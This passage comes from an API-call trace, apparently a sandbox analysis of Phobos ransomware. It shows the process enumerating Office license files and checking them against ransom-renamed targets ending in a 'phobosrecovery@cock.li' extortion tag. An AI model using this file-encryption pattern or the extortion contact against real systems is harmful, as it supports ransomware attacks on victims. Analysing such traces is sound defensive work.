lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.773] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.774] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11619) returned 1 [0153.774] CloseHandle (hObject=0x528) returned 1 [0153.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0153.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.775] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.776] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11179) returned 1 [0153.776] CloseHandle (hObject=0x528) returned 1 [0153.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-pl.xrm-ms")) returned 0x220 [0153.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.776] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.777] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20922) returned 1 [0153.777] CloseHandle (hObject=0x528) returned 1 [0153.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ppd.xrm-ms")) returned 0x220 [0153.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.778] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.779] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11624) returned 1 [0153.779] CloseHandle (hObject=0x528) returned 1 [0153.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0153.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.780] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.780] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20851) returned 1 [0153.780] CloseHandle (hObject=0x528) returned 1 [0153.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ppd.xrm-ms")) returned 0x220 [0153.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.781] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.782] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11601) returned 1 [0153.782] CloseHandle (hObject=0x528) returned 1 [0153.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ul-oob.xrm-ms")) returned 0x220 [0153.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.782] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.783] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10647) returned 1 [0153.783] CloseHandle (hObject=0x528) returned 1 [0153.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-pl.xrm-ms")) returned 0x220 [0153.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.784] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.785] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20856) returned 1 [0153.785] CloseHandle (hObject=0x528) returned 1 [0153.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.785] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.786] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11594) returned 1 [0153.786] CloseHandle (hObject=0x528) returned 1 [0153.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.787] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.788] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19939) returned 1 [0153.788] CloseHandle (hObject=0x528) returned 1 [0153.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.788] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.789] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10639) returned 1 [0153.789] CloseHandle (hObject=0x528) returned 1 [0153.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-pl.xrm-ms")) returned 0x220 [0153.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.789] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.790] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20854) returned 1 [0153.790] CloseHandle (hObject=0x528) returned 1 [0153.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ppd.xrm-ms")) returned 0x220 [0153.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.791] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.792] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11586) returned 1 [0153.792] CloseHandle (hObject=0x528) returned 1 [0153.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-oob.xrm-ms")) returned 0x220 [0153.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.792] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.793] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19931) returned 1 [0153.793] CloseHandle (hObject=0x528) returned 1 [0153.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-phn.xrm-ms")) returned 0x220 [0153.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.793] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.794] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10643) returned 1 [0153.794] CloseHandle (hObject=0x528) returned 1 [0153.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-pl.xrm-ms")) returned 0x220 [0153.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.795] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.796] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20855) returned 1 [0153.796] CloseHandle (hObject=0x528) returned 1 [0153.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ppd.xrm-ms" (normalized: 